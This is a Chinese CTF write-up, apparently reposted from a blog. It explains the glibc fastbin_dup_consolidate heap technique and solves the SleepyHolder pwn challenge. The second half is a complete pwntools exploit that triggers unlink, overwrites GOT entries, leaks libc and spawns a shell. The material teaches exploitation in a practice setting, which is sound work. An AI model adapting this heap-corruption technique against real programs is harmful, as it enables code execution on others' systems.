how2heap的fastbin_dup_consolidate(包含sleepyholder)

fastbin_dup_consolidate

Column: Mar 28, 2021

昨日dasctf, 临时学会了house of orange, 但依旧爆零, 哎, 只能说自己不够努力

利用方式及其效果:

方式: 很简单, 先申请一个fastbin范围内的堆1, 再随便申请一个堆2防止被topchunk合并, 之后释放堆1, 申请large bin大小的堆3, 最后释放一次堆1, 此时不会段错误, 而会让堆1同时存在于fastbin与unsortedbin中

效果: 个人认为how2heap中讲的并不是十分正确, 毕竟效果不是可以像double free一样可以反复申请同一个堆块, 反而是从fastbin和unsortedbin的释放效果中各选了一部分一样: 首先它会像unsortedbin一样将相邻高地址的堆块inuse位置零同时也会被放进unsortedbin链表中(即存在fd和bk的使用), 其次它依旧满足fastbin的free堆块inuse位不置零, 那么如果存在有off by one或者其写入大小符合在不free时可以写入下一个chunk的pre_size, 那么就很容易触发到unlink了

SleepyHolder:

保护检查:

可以修改got表

反汇编分析:

有一堆全局指针, 可以尝试unlink

在这里插入图片描述

Add函数中三次分配的大小满足fastbin_dup_consolidate的条件, 且read的0x28大小可以使得下一个chunk的pre_size改变

在这里插入图片描述

delete函数中释放了之后指针没有指向NULL

在这里插入图片描述

实现思路:

(1). 利用fastbin_dup_consolidate触发unlink

(2). 慢慢修改got表就行了

注意事项:

(1). 要是想修改free的got表, 使用sendline的话, '\n’会破坏puts的got中的低字节, 导致程序中断

(2). 不晓得为啥这题我搜出来的/bin/sh地址, 自己使用的时候就变/bin/dash了(das恐惧症,大嘘)

(3). 后面改got表差不多可以一把梭的, 我没去思考(

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh = process('./sleepyHolder_hitcon_2016')
#sh = remote('node3.buuoj.cn',29064)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./sleepyHolder_hitcon_2016')
#context.log_level='debug'
ptr_to_big=0x6020c0
global flag
flag=1

def Add(index, content):
    global flag
    if index==3:
        flag=0
    sh.recvuntil('3. Renew secret\n')
    sh.sendline('1')
    if flag==1:
        sh.recvuntil('3. Keep a huge secret and lock it forever\n')
        sh.sendline(str(index))
    else:
        sh.recvuntil('2. Big secret\n')
        sh.sendline(str(index))
    sh.recvuntil('Tell me your secret: \n')
    sh.sendline(content)

def Delete(index):
    sh.recvuntil('3. Renew secret\n')
    sh.sendline('2')
    sh.recvuntil('2. Big secret\n')
    sh.sendline(str(index))

def Edit(index, content, if_line):
    sh.recvuntil('3. Renew secret\n')
    sh.sendline('3')
    sh.recvuntil('2. Big secret\n')
    sh.sendline(str(index))
    sh.recvuntil('Tell me your secret: \n')
    if if_line:
        sh.sendline(content)
        return
    sh.send(content)

Add(1, 'thu1e')
Add(2, 'thu1e')
Delete(1)
Add(3, 'thu1e')
Delete(1)
pause()

ptr_to_small=ptr_to_big+0x10
payload=p64(0)*2+p64(ptr_to_small-0x18)+p64(ptr_to_small-0x10)+p64(0x20)
Add(1, payload)
Delete(2)

Add(2, 'thu1e')
payload=p64(0)+p64(elf.got['free'])+p64(0)+p64(ptr_to_small-0x18)+p32(1)*3
Edit(1, payload, 0)
Edit(2, p64(elf.plt['puts']), 0)
#print str(proc.pidof(sh))
#pause()
payload=p64(0)+p64(elf.got['puts'])+p64(0)+p64(ptr_to_small-0x18)+p32(1)*3 
Edit(1, payload, 0)
Delete(2)
puts_addr=u64(sh.recv(6).ljust(8, '\x00'))
#pause()

libc_base=puts_addr-libc.sym['puts']
sys_addr=libc_base+libc.sym['system']
bin_addr=libc_base+next(libc.search('/bin/sh'))
log.success('system address: '+hex(sys_addr))
log.success('/bin/sh address: '+hex(bin_addr))
payload='/bin/sh\x00'+p64(elf.got['free'])+p64(0)+p64(ptr_to_small-0x18)+p32(1)*3
Edit(1, payload, 0)
Edit(2, p64(sys_addr), 0)
#pause()
Delete(1)
sh.interactive()

来个dasctf的pwn的wp救一下啊(悲

猜你喜欢

转载自blog.csdn.net/eeeeeight/article/details/115291739
dup